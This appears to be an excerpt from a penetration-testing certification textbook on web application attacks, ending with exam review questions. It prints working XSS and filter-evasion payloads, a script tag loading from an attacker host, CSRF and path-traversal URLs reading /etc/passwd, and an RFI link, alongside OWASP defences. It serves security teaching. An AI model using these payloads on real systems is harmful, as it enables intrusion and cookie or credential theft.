LDAP injection vulnerabilities are input validation vulnerabilities that an attacker uses to inject and execute queries to LDAP servers. A successful LDAP injection attack can allow an attacker to obtain valuable information for further attacks on databases and internal applications.
Similar to SQL injection and other injection attacks, LDAP injection attacks leverage vulnerabilities that occur when an application inserts unsanitized user input (that is, input that is not validated) directly into an LDAP statement. By sending crafted LDAP packets, attackers can cause the LDAP server to execute a variety of queries and other LDAP statements. LDAP injection vulnerabilities could, for example, allow an attacker to modify the LDAP tree and modify business-critical information.
There are two general types of LDAP injection attacks:
Authentication bypass: The most basic LDAP injection attacks are launched to bypass password and credential checking.
Information disclosure: An attacker could inject crafted LDAP packets to list all resources in an organization’s directory and perform reconnaissance.
An attacker can bypass authentication in vulnerable systems by using several methods. The following are the most common ways to take advantage of authentication-based vulnerabilities in an affected system:
Credential brute forcing
Session hijacking
Redirecting
Exploiting default credentials
Exploiting weak credentials
Exploiting Kerberos
A web session is a sequence of HTTP request and response transactions between a web client and a server. The process includes the steps illustrated in Figure 6-15.
A large number of web applications keep track of information about each user for the duration of the web transactions. Several web applications have the ability to establish variables such as access rights and localization settings. These variables apply to each and every interaction a user has with the web application for the duration of the session. For example, Figure 6-16 shows Wireshark being used to collect a packet capture of a web session to cnn.com. You can see the different elements of a web request (such as GET) and the response. You can also see localization information (in this case, Raleigh, NC) in a cookie.
As you learned earlier in this chapter, applications can create sessions to keep track of users before and after authentication.
Once an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as username and password, one-time password, client-based digital certificate, and so on.
In order to keep the authenticated state and track users’ progress, applications provide users with a session ID, or token. This token is assigned at session creation time and is shared and exchanged by the user and the web application for the duration of the session. The session ID is a name/value pair.
There are multiple mechanisms available in HTTP to maintain session state within web applications, such as cookies (in the standard HTTP header), URL parameters and rewriting (defined in RFC 3986), and URL arguments on GET requests. Application developers also use body arguments on POST requests. For example, they can use hidden form fields (HTML forms) or proprietary HTTP headers.
One of the most widely used session ID exchange mechanisms is cookies. Cookies offer advanced capabilities that are not available in other methods. Figure 6-17 illustrates session management and the use of cookies.
The session ID names used by the most common web application development frameworks can be easily fingerprinted. For example, it is possible to easily fingerprint these development frameworks and languages by using the following session ID names:
PHP: PHPSESSID
J2EE: JSESSIONID
ColdFusion: CFID and CFTOKEN
ASP .NET: ASP.NET_SessionId
Sometimes the session ID is included in the URL. This dangerous practice can lead to the manipulation of the ID or session fixation attacks.
Web development frameworks such as ASP .NET, PHP, and Ruby on Rails provide their own session management features and associated implementation.
This is pretty obvious, but you have to remember to encrypt an entire web session with HTTPS—not only for the authentication process where the user credentials are exchanged but also to ensure that the session ID is exchanged only through an encrypted channel. Using an encrypted communication channel also protects the session against some session fixation attacks, in which the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victim’s web browser.
There are two types of cookies: non-persistent (or session) cookies and persistent cookies. If a cookie has a Max-Age or Expires attribute, it is considered a persistent cookie and is stored on disk by the web browser until the expiration time.
Configuring a cookie with the HTTPOnly flag forces the web browser to have this cookie processed only by the server, and any attempt to access the cookie from client-based code or scripts is strictly forbidden. This protects against several type of attacks, including CSRF.
There are several ways an attacker can perform session hijacking and several ways a session token may be compromised:
Predicting session tokens: This is why it is important to use non-predictable tokens, as previously discussed in this section.
Session sniffing: This can occur through collecting packets of unencrypted web sessions.
On-path attack (formerly known as man-in-the-middle attack): With this type of attack, the attacker sits in the path between the client and the web server. In addition, a browser (or an extension or a plugin) can be compromised and used to intercept and manipulate web sessions between the user and the web server. This browser-based attack was previously known as a man-in-the-browser attack.
If web applications do not validate and filter out invalid session ID values, they can potentially be used to exploit other web vulnerabilities, such as SQL injection (if the session IDs are stored on a relational database) or persistent XSS (if the session IDs are stored and reflected back afterward by the web application).
Unvalidated redirects and forwards are vulnerabilities that an attacker can use to attack a web application and its clients. The attacker can exploit such vulnerabilities when a web server accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. The attacker can modify the untrusted URL input and redirect the user to a malicious site to either install malware or steal sensitive information.
It is also possible to use unvalidated redirect and forward vulnerabilities to craft a URL that can bypass application access control checks. This, in turn, allows an attacker to access privileged functions that he or she would normally not be permitted to access.
A common adage in the security industry is “Why do you need hackers, if you have default passwords?” Many organizations and individuals leave infrastructure devices such as routers, switches, wireless access points, and even firewalls configured with default passwords.
Attackers can easily identify and access systems that use shared default passwords. It is extremely important to always change default manufacturer passwords and restrict network access to critical systems. A lot of manufacturers now require users to change the default passwords during initial setup, but some don’t.
Attackers can easily obtain default passwords and identify Internet-connected target systems. Passwords can be found in product documentation and compiled lists available on the Internet. An example is http://www.defaultpassword.com, but there are dozens of other sites that contain default passwords and configurations on the Internet. It is easy to identify devices that have default passwords and that are exposed to the Internet by using search engines such as Shodan (https://www.shodan.io).
In Chapter 5, “Exploiting Wired and Wireless Networks,” you learned that one of the most common attacks against Windows systems is the Kerberos golden ticket attack. An attacker can use such an attack to manipulate Kerberos tickets based on available hashes. The attacker only needs to compromise a vulnerable system and obtain the local user credentials and password hashes. If the system is connected to a domain, the attacker can identify a Kerberos ticket-granting ticket (KRBTGT) password hash to get the golden ticket.
Another weakness in Kerberos implementations is the use of unconstrained Kerberos delegation, a feature that allows an application to reuse the end-user credentials to access resources hosted on a different server. Typically, you should only allow Kerberos delegation on an application server that is ultimately trusted. However, this could have negative security consequences if abused, so Active Directory has Kerberos delegation turned off by default.
Two of the most common authorization-based vulnerabilities are parameter pollution and Insecure Direct Object Reference vulnerabilities. The following sections provide details about these vulnerabilities.
HTTP parameter pollution (HPP) vulnerabilities can be introduced if multiple HTTP parameters have the same name. This issue may cause an application to interpret values incorrectly. An attacker may take advantage of HPP vulnerabilities to bypass input validation, trigger application errors, or modify internal variable values.
An attacker can find HPP vulnerabilities by finding forms or actions that allow user-supplied input. Then the attacker can append the same parameter to the GET or POST data—but with a different value assigned.
Consider the following URL:
https://store.h4cker.org/?search=cars
This URL has the query string search and the parameter value cars. The parameter might be hidden among several other parameters. An attacker could leave the current parameter in place and append a duplicate, as shown here:
https://store.h4cker.org/?search=cars&results=20
The attacker could then append the same parameter with a different value and submit the new request:
https://store.h4cker.org/?search=cars&results=20&search=bikes
After submitting the request, the attacker could analyze the response page to identify whether any of the values entered were parsed by the application. Sometimes it is necessary to send three HTTP requests for each HTTP parameter. If the response from the third parameter is different from the first one—and the response from the third parameter is also different from the second one—this may be an indicator of an impedance mismatch that could be abused to trigger HPP vulnerabilities.
Insecure Direct Object Reference vulnerabilities can be exploited when web applications allow direct access to objects based on user input. Successful exploitation could allow attackers to bypass authorization and access resources that should be protected by the system (for example, database records, system files). This type of vulnerability occurs when an application does not sanitize user input and does not perform appropriate authorization checks.
An attacker can take advantage of Insecure Direct Object References vulnerabilities by modifying the value of a parameter used to directly point to an object. In order to exploit this type of vulnerability, an attacker needs to map out all locations in the application where user input is used to reference objects directly.
Let’s go over a few examples on how to take advantage of this type of vulnerability. The following example shows how the value of a parameter can be used directly to retrieve a database record:
https://store.h4cker.org/buy?customerID=1188
In this example, the value of the customerID parameter is used as an index in a table of a database holding customer contacts. The application takes the value and queries the database to obtain the specific customer record. An attacker may be able to change the value 1188 to another value and retrieve another customer record.
In the following example, the value of a parameter is used directly to execute an operation in the system:
https://store.h4cker.org/changepassd?user=omar
In this example, the value of the user parameter (omar) is used to have the system change the user’s password. An attacker can try other usernames and see if it is possible to modify the password of another user.
Cross-site scripting (XSS) vulnerabilities, which have become some of the most common web application vulnerabilities, are achieved using the following attack types:
Reflected XSS
Stored (persistent) XSS
DOM-based XSS
Successful exploitation could result in installation or execution of malicious code, account compromise, session cookie hijacking, revelation or modification of local files, or site redirection.
You typically find XSS vulnerabilities in the following:
Search fields that echo a search string back to the user
HTTP headers
Input fields that echo user data
Error messages that return user-supplied text
Hidden fields that may include user input data
Applications (or websites) that display user-supplied data
The following example shows an XSS test that can be performed from a browser’s address bar:
javascript:alert("Omar_s_XSS test"); javascript:alert(document.cookie);
The following example shows an XSS test that can be performed in a user input field in a web form:
<script>alert("XSS Test")</script>
Reflected XSS attacks (that is, non-persistent XSS attacks) occur when malicious code or scripts are injected by a vulnerable web application using any method that yields a response as part of a valid HTTP request. An example of a reflected XSS attack is a user being persuaded to follow a malicious link to a vulnerable server that injects (reflects) the malicious code back to the user’s browser. This causes the browser to execute the code or script. In this case, the vulnerable server is usually a known or trusted site.
Figure 6-18 illustrates the steps in a reflected XSS attack.
The following steps are illustrated in Figure 6-18:
Step 1. The attacker finds a vulnerability in the web server.
Step 2. The attacker sends a malicious link to the victim.
Step 3. The attacker clicks on the malicious link, and the attack is sent to the vulnerable server.
Step 4. The attack is reflected to the victim and is executed.
Step 5. The victim sends information (depending on the attack) to the attacker.
Stored, or persistent, XSS attacks occur when malicious code or script is permanently stored on a vulnerable or malicious server, using a database. These attacks are typically carried out on websites hosting blog posts (comment forms), web forums, and other permanent storage methods. An example of a stored XSS attack is a user requesting the stored information from the vulnerable or malicious server, which causes the injection of the requested malicious script into the victim’s browser. In this type of attack, the vulnerable server is usually a known or trusted site.
Figure 6-19 and Figure 6-20 illustrate a stored XSS attack. Figure 6-19 shows that a user has entered the string <script>alert(“Omar was here!”)</script> in the second form field in DVWA.
After the user clicks the Sign Guestbook button, the dialog box shown in Figure 6-20 appears. The attack persists because even if the user navigates out of the page and returns to that same page, the dialog box continues to pop up.
In this example, the dialog box message is “Omar was here!” However, in a real attack, an attacker might present users with text persuading them to perform a specific action, such as “your password has expired” or “please log in again.” The goal of the attacker would be to redirect the user to another site to steal his or her credentials when the user tries to change the password or once again log in to the fake application.
The Document Object Model (DOM) is a cross-platform and language-independent application programming interface that treats an HTML, XHTML, or XML document as a tree structure. DOM-based attacks are typically reflected XSS attacks that are triggered by sending a link with inputs that are reflected to the web browser. In DOM-based XSS attacks, the payload is never sent to the server. Instead, the payload is only processed by the web client (browser).
In a DOM-based XSS attack, the attacker sends a malicious URL to the victim, and after the victim clicks on the link, the attacker may load a malicious website or a site that has a vulnerable DOM route handler. After the vulnerable site is rendered by the browser, the payload executes the attack in the user’s context on that site.
One of the effects of any type of XSS attack is that the victim typically does not realize that an attack has taken place.
Numerous techniques can be used to evade XSS protections and security products such as web application firewalls (WAFs). Instead of listing all the different evasion techniques outlined by OWASP, this section reviews some of the most popular techniques.
First, let’s take a look at an XSS JavaScript injection that would be detected by most XSS filters and security solutions:
<SCRIPT SRC=http://malicious.h4cker.org/xss.js></SCRIPT>
The following example shows how the HTML img tag can be used in several ways to potentially evade XSS filters:
<img src="javascript:alert('xss');"> <img src=javascript:alert('xss')> <img src=javascript:alert("XSS")> <img src=javascript:alert('xss')>
It is also possible to use other malicious HTML tags (such as <a> tags), as demonstrated here:
<a onmouseover="alert(document.cookie)">This is a malicious link</a> <a onmouseover=alert(document.cookie)>This is a malicious link</a>
An attacker may also use a combination of hexadecimal HTML character references to potentially evade XSS filters, as demonstrated here:
<img src=javascript& #x3Aalert('XSS')>
US ASCII encoding may bypass many content filters and can also be used as an evasion technique, but it works only if the system transmits in US ASCII encoding or if it is manually set. This technique is useful against WAFs. The following example demonstrates the use of US ASCII encoding to evade WAFs:
¼script¾alert(¢XSS¢)¼/script¾
The following example shows an example of an evasion technique that involves using the HTML embed tags to embed a Scalable Vector Graphics (SVG) file:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdod D0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+ YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
The following are general rules for preventing XSS attacks, according to OWASP:
Use an auto-escaping template system.
Never insert untrusted data except in allowed locations.
Use HTML escape before inserting untrusted data into HTML element content.
Use attribute escape before inserting untrusted data into HTML common attributes.
Use JavaScript escape before inserting untrusted data into JavaScript data values.
Use CSS escape and strictly validate before inserting untrusted data into HTML-style property values.
Use URL escape before inserting untrusted data into HTML URL parameter values.
Sanitize HTML markup with a library such as ESAPI to protect the underlying application.
Prevent DOM-based XSS by following OWASP’s recommendations at https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
Use the HTTPOnly cookie flag.
Implement content security policy.
Use the X-XSS-Protection response header.
You should also convert untrusted input into a safe form, where the input is displayed as data to the user. This prevents the input from executing as code in the browser. To do this, perform the following HTML entity encoding:
Convert & to &.
Convert < to <.
Convert > to >.
Convert " to ".
Convert " to '.
Convert / to /.
The following are additional best practices for preventing XSS attacks:
Escape all characters (including spaces but excluding alphanumeric characters) with the HTML entity &#xHH; format (where HH is a hex value).
Use URL encoding only, not the entire URL or path fragments of a URL, to encode parameter values.
Escape all characters (except for alphanumeric characters), with the uXXXX Unicode escaping format (where X is an integer).
CSS escaping supports XX and XXXXXX, so add a space after the CSS escape or use the full amount of CSS escaping possible by zero-padding the value.
Educate users about safe browsing to reduce the risk their risk of falling victim to XSS attacks.
XSS controls are now available in modern web browsers.
Cross-site request forgery (abbreviated CSRF or XSRF) attacks occur when unauthorized commands are transmitted from a user who is trusted by an application. CSRF attacks are different from XSS attacks because they exploit the trust that an application has in a user’s browser.
CSRF attacks typically affect applications (or websites) that rely on a user’s identity. Attackers can trick the user’s browser into sending HTTP requests to a target website. An example of a CSRF attack is a user authenticated by the application through a cookie saved in the browser unwittingly sending an HTTP request to a site that trusts the user, subsequently triggering an unwanted action.
Figure 6-21 shows an example of a CSRF attack using DVWA.
In Figure 6-21, the web form asks the user to change a password. If you take a closer look at the URL in Figure 6-21, you see that it contains the parameters password_new=test&password_conf=test&Change=Change#. Not only is the password displayed in the URL after the user has entered it in the web form, but because the application allows this, an attacker can easily send a crafted link to any user to change his or her password, as shown here:
http://192.168.78.8:66/vulnerabilities/csrf/?password_ new=newpasswd&password_conf= newpasswd &Change=Change#
If the user follows this link, his or her password will be changed to newpasswd.
Clickjacking involves using multiple transparent or opaque layers to induce a user into clicking on a web button or link on a page that he or she was not intended to navigate or click. Clickjacking attacks are often referred to as UI redress attacks. User keystrokes can also be hijacked using clickjacking techniques. An attacker can launch a clickjacking attack by using a combination of CSS stylesheets, iframes, and text boxes to fool the user into entering information or clicking on links in an invisible frame that can be rendered from a site the attacker created.
According to OWASP, these are the two most common techniques for preventing and mitigating clickjacking:
Send directive response headers to the proper content security policy (CSP) frame ancestors to instruct the browser not to allow framing from other domains. (This replaces the older X-Frame-Options HTTP headers.)
Use defensive code in the application to make sure the current frame is the top-level window.
Attackers can take advantage of security misconfigurations, including directory traversal vulnerabilities and cookie manipulation.
A directory traversal vulnerability (often referred to as path traversal) can allow attackers to access files and directories that are stored outside the web root folder.
It is possible to exploit path traversal vulnerabilities by manipulating variables that reference files with the dot-dot-slash (../) sequence and its variations or by using absolute file paths to access files on the vulnerable system. An attacker can obtain critical and sensitive information when exploiting directory traversal vulnerabilities.
Figure 6-22 shows an example of how to exploit a directory traversal vulnerability.
Figure 6-22 shows the following URL being used:
http://192.168.78.8:66/vulnerabilities/fi/?page=../../../../../etc/ passwd
The vulnerable application shows the contents of the /etc/passwd file to the attacker.
It is possible to use URL encoding, as demonstrated in the following example to exploit directory (path) traversal vulnerabilities:
%2e%2e%2f is the same as ../ %2e%2e/ is the same as ../ ..%2f is the same as ../ %2e%2e%5c is the same as ..
An attacker can also use several other combinations of encoding—for example, operating system-specific path structures such as / in Linux or macOS systems and in Windows.
The following are a few best practices for preventing and mitigating directory traversal vulnerabilities:
Understand how the underlying operating system processes filenames provided by a user or an application.
Never store sensitive configuration files inside the web root directory.
Prevent user input when using file system calls.
Prevent users from supplying all parts of the path. You can do this by surrounding the user input with your path code.
Perform input validation by only accepting known good input.
Cookie manipulation attacks are often referred to as stored DOM-based attacks (or vulnerabilities). Cookie manipulation is possible when vulnerable applications store user input and then embed that input in a response within a part of the DOM. This input is later processed in an unsafe manner by a client-side script. An attacker can use a JavaScript string (or other scripts) to trigger the DOM-based vulnerability. Such scripts can write controllable data into the value of a cookie.
An attacker can take advantage of stored DOM-based vulnerabilities to create a URL that sets an arbitrary value in a user’s cookie.
The sections that follow provide details about local and remote file inclusion vulnerabilities.
A local file inclusion (LFI) vulnerability occurs when a web application allows a user to submit input into files or upload files to the server. Successful exploitation could allow an attacker to read and (in some cases) execute files on the victim’s system. Some LFI vulnerabilities can be critical if a web application is running with high privileges or as root. Such vulnerabilities can allow attackers to gain access to sensitive information and can even enable them to execute arbitrary commands in the affected system.
Figure 6-22 (in the previous section) shows an example of a directory traversal vulnerability, but the same application also has an LFI vulnerability: The /etc/passwd file can be shown in the application page due to an LFI flaw.
Remote file inclusion (RFI) vulnerabilities are similar to LFI vulnerabilities. However, when an attacker exploits an RFI vulnerability, instead of accessing a file on the victim, the attacker is able to execute code hosted on his or her own system (the attacking system).
Figure 6-23 shows an example of exploiting a remote file inclusion vulnerability.
The attacker enters the following URL to perform the attack in Figure 6-23:
http://192.168.78.8:66/vulnerabilities/fi/?page=http://malicious. h4cker.org/malware.html
In this example, the attacker’s website (http://malicious.h4cker.org/malware.html) is likely to host malware or malicious scripts that can be executed when the victim visits that site.
The following sections cover several insecure code practices that attackers can exploit and that you can leverage during a penetration testing engagement.
Often developers include information in source code that could provide too much information and might be leveraged by an attacker. For example, they might provide details about a system password, API credentials, or other sensitive information that an attacker could find and use.
Improper error handling is a type of weakness and security malpractice that can provide information to an attacker to help him or her perform additional attacks on the targeted system. Error messages such as error codes, database dumps, and stack traces can provide valuable information to an attacker, such as information about potential flaws in the applications that could be further exploited.
A best practice is to handle error messages according to a well-thought-out scheme that provides a meaningful error message to the user, diagnostic information to developers and support staff, and no useful information to an attacker.
Hard-coded credentials are catastrophic flaws that an attacker can leverage to completely compromise an application or the underlying system. MITRE covers this malpractice (or weakness) in CWE-798. You can obtain detailed information about CWE-798 at https://cwe.mitre.org/data/definitions/798.html.
A race condition occurs when a system or an application attempts to perform two or more operations at the same time. However, due to the nature of such a system or application, the operations must be done in the proper sequence in order to be done correctly. When an attacker exploits such a vulnerability, he or she has a small window of time between when a security control takes effect and when the attack is performed. The attack complexity in race conditions is very high. In other words, race conditions are very difficult to exploit.
An example of a race condition is a security management system pushing a configuration to a security device (such as a firewall or an intrusion prevention system) such that the process rebuilds access control lists and rules from the system. An attacker may have a very small time window in which it could bypass those security controls until they take effect on the managed device.
Application programming interfaces (APIs) are used everywhere today. A large number of modern applications use APIs to allow other systems to interact with the application. Unfortunately, many APIs lack adequate controls and are difficult to monitor. The breadth and complexity of APIs also make it difficult to automate effective security testing. There are a few methods or technologies behind modern APIs:
Simple Object Access Protocol (SOAP): This standards-based web services access protocol was originally developed by Microsoft and has been used by numerous legacy applications for many years. SOAP exclusively uses XML to provide API services. XML-based specifications are governed by XML Schema Definition (XSD) documents. SOAP was originally created to replace older solutions such as the Distributed Component Object Model (DCOM) and Common Object Request Broker Architecture (CORBA). You can find the latest SOAP specifications at https://www.w3.org/TR/soap.
Representational State Transfer (REST): This API standard is easier to use than SOAP. It uses JSON instead of XML, and it uses standards such as Swagger and the OpenAPI Specification (https://www.openapis.org) for ease of documentation and to encourage adoption.
GraphQL: GraphQL is a query language for APIs that provides many developer tools. GraphQL is now used for many mobile applications and online dashboards. Many different languages support GraphQL. You can learn more about GraphQL at https://graphql.org/code.
An API often provides a roadmap that describes the underlying implementation of an application. This roadmap can give penetration testers valuable clues about attack vectors they might otherwise overlook. API documentation can provide a great level of detail that can be very valuable to a penetration tester. API documentation can include the following:
Swagger (OpenAPI): Swagger is a modern framework of API documentation and development that is the basis of the OpenAPI Specification (OAS). Additional information about Swagger can be obtained at https://swagger.io. The OAS specification is available at https://github.com/OAI/OpenAPI-Specification.
Web Services Description Language (WSDL) documents: WSDL is an XML-based language that is used to document the functionality of a web service. The WSDL specification can be accessed at https://www.w3.org/TR/wsdl20-primer.
Web Application Description Language (WADL) documents: WADL is an XML-based language for describing web applications. The WADL specification can be obtained from https://www.w3.org/Submission/wadl.
When performing pen testing against an API, it is important to collect full requests by using a proxy such as Burp Suite or OWASP ZAP. (You will learn more about these tools in Chapter 10.) It is important to make sure that the proxy is able to collect full API requests and not just URLs because REST, SOAP, and other API services use more than just GET parameters.
When you are analyzing the collected requests, look for nonstandard parameters and for abnormal HTTP headers. You should also determine whether a URL segment has a repeating pattern across other URLs. These patterns can include a number or an ID, dates, and other valuable information. Inspect the results and look for structured parameter values in JSON, XML, or even nonstandard structures.
You can also use fuzzing to find API vulnerabilities (or vulnerabilities in any application or system). According to OWASP, “Fuzz testing or Fuzzing is an unknown environment/black box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.”
When testing APIs, you should always analyze the collected requests to optimize fuzzing. After you find potential parameters to fuzz, determine the valid and invalid values that you want to send to the application. Of course, fuzzing should focus on invalid values (for example, sending a GET or PUT with large values or special characters, Unicode, and so on). In Chapter 10 you will learn about tools like Radamsa (https://gitlab.com/akihe/radamsa) that can be used to create fuzzing parameters for testing applications, protocols, and more.
The following are several general best practices and recommendations for securing APIs:
Secure API services to provide HTTPS endpoints with only a strong version of TLS.
Validate parameters in the application and sanitize incoming data from API clients.
Explicitly scan for common attack signatures; injection attacks often betray themselves by following common patterns.
Use strong authentication and authorization standards.
Use reputable and standard libraries to create the APIs.
Segment API implementation and API security into distinct tiers; doing so frees up the API developer to focus completely on the application domain.
Identify what data should be publicly available and what information is sensitive.
If possible, have a security expert do the API code verification.
Make internal API documentation mandatory.
Avoid discussing company API development (or any other application development) on public forums.
Web application parameter tampering attacks can be executed by manipulating parameters exchanged between the web client and the web server in order to modify application data. This could be achieved by manipulating cookies (as discussed earlier in this chapter) and by abusing hidden form fields.
It might be possible to tamper with the values stored by a web application in hidden form fields. Let’s take a look at an example of a hidden HTML form field. Suppose that the following is part of an e-commerce site selling merchandise to online customers:
<input type="hidden" id="123" name="price" value="100.00">
In the hidden field shown in this example, an attacker could potentially edit the value information to reduce the price of an item. Not all hidden fields are bad; in some cases, they are useful for the application, and they can even be used to protect against CSRF attacks.
Code signing (or image signing) involves adding a digital signature to software and applications to verify that the application, operating system, or any software has not been modified since it was signed. Many applications are still not digitally signed today, which means attackers can easily modify and potentially impersonate legitimate applications.
Code signing is similar to the process used for SSL/TLS certificates. A key pair (one public key and one private key) identifies and authenticates the software engineer (developer) and his or her code. This is done by employing trusted certificate authorities (CAs). Developers sign their applications and libraries using their private key. If the software or library is modified after signing, the public key in a system will not be able to verify the authenticity of the developer’s private key signature.
Subresource Integrity (SRI) is a security feature that allows you to provide a hash of a file fetch by a web browser (client). SRI verifies file integrity and ensures that files are delivered without any tampering or manipulation by an attacker.
Many ethical and malicious hackers use web proxies to exploit vulnerabilities in web applications. A web proxy, in this context, is a piece of software that is typically installed in the attacker’s system to intercept, modify, or delete transactions between a web browser and a web application. Figure 6-24 shows how a web proxy works.
Two of the most popular web proxies used to hack web applications are Burp Suite and ZAP. Burp Suite is a collection of tools and capabilities, one of which is a web proxy.
Burp Suite, also simply known as “Burp,” comes in two different versions: the free Burp Suite Community Edition and the paid Burp Suite Professional Edition. Figure 6-25 shows the Burp Suite Community Edition being used to intercept transactions from the attacker’s web browser and a web application. You can see how session cookies and other information can be intercepted and captured in the proxy.
OWASP ZAP is a collection of tools including proxy, automated scanning, fuzzing, and other capabilities that can be used to find vulnerabilities in web applications. You can download OWASP ZAP, which is free, from https://www.zaproxy.org. Figure 6-26 shows how OWASP ZAP is used to perform an automated scan of a vulnerable web application. In this example, OWASP ZAP found two vulnerable JavaScript libraries that an attacker could leverage to compromise the web application.
Earlier in this chapter, you learned about the tool DirBuster, which can be used to perform active reconnaissance of a web application. There are other, more modern tools available to perform similar reconnaissance (including enumerating files and directories). The following are some of the most popular of them:
gobuster: This tool, which is similar to DirBuster, is written in Go. You can download gobuster from https://github.com/OJ/gobuster.
ffuf: This very fast web fuzzer is also written in Go. You can download ffuf from https://github.com/ffuf/ffuf.
feroxbuster: This web application reconnaissance fuzzer is written in Rust. You can download feroxbuster from https://github.com/epi052/feroxbuster.
All of these tools use wordlists—that is, files containing numerous words that are used to enumerate files and, directories and crack passwords. Figure 6-27 shows how gobuster is able to enumerate different directories in a web application running on port 8888 on a system with the IP address 192.168.88.225. The attacker in this case is using a wordlist called mywordlist.
Exam Preparation Tasks
As mentioned in the section “How to Use This Book” in the Introduction, you have a couple choices for exam preparation: the exercises here, Chapter 11, “Final Preparation,” and the exam simulation questions in the Pearson Test Prep software online.
Review the most important topics in this chapter, noted with the Key Topics icon in the outer margin of the page. Table 6-2 lists these key topics and the page number on which each is found.
Key Topic Element | Description | Page Number |
Paragraph | Web sessions and their relevance for web application penetration testing | 252 |
Paragraph | The OWASP Top 10 | 255 |
Paragraph | Business logic flaws | 256 |
Paragraph | SQL injection vulnerabilities | 258 |
List | Categories of SQL injection attacks | 262 |
A UNION query in an SQL injection attack | 266 | |
Paragraph | Stacked SQL queries | 268 |
Paragraph | Redirect attacks | 277 |
Paragraph | Problems with weak credentials | 278 |
Paragraph | Kerberos vulnerabilities | 278 |
Paragraph | Parameter pollution and related vulnerabilities | 279 |
Paragraph | Insecure Direct Object Reference vulnerabilities | 280 |
Paragraph | Stored XSS | 283 |
Paragraph | Local file inclusion vulnerabilities | 292 |
Paragraph | API vulnerabilities | 295 |
Paragraph | Risks related to hard-coded credentials | 298 |
Define the following key terms from this chapter and check your answers in the glossary:
Extensible Markup Language Remote Procedure Call (XML-RPC)
blind (or inferential) SQL injection
The answers to these questions appear in Appendix A. For more practice with exam format questions, use the Pearson Test Prep software online.
1. Which unknown environment/black-box testing technique consists of sending malformed/semi-malformed data injection in an automated fashion?
2. What type of security malpractice is shown in the following example?
<input type="hidden" id="123" name="price" value="100.00">
3. What type of attack is shown in the following URL?
http://portal.h4cker.org/%2e%2e%5c%2e%2e%2f%2e%2e%5c%2e%2e%5c/ omar_file.txt
4. Which type of attack is shown in the following example?
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh 0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53 My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9 yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRo PSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRle HQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
5. What type of attack occurs when a user who is authenticated by an application through a cookie saved in the browser unwittingly sends an HTTP request to a site that trusts the user, subsequently triggering an unwanted action?
6. In _________ XSS, the payload is never sent to the server. Instead, the payload is only processed by the web client (browser).
7. ____________ XSS attacks are not persistent.
8. SQLmap is a tool that can be used to automate _____ injection attacks.
9. PHPSESSID and JSESSIONID can be used to do what?
10. A web _______ can be used to intercept, modify, and delete web transactions between a web browser and a web application. Examples of these tools are OWASP ZAP and Burp Suite.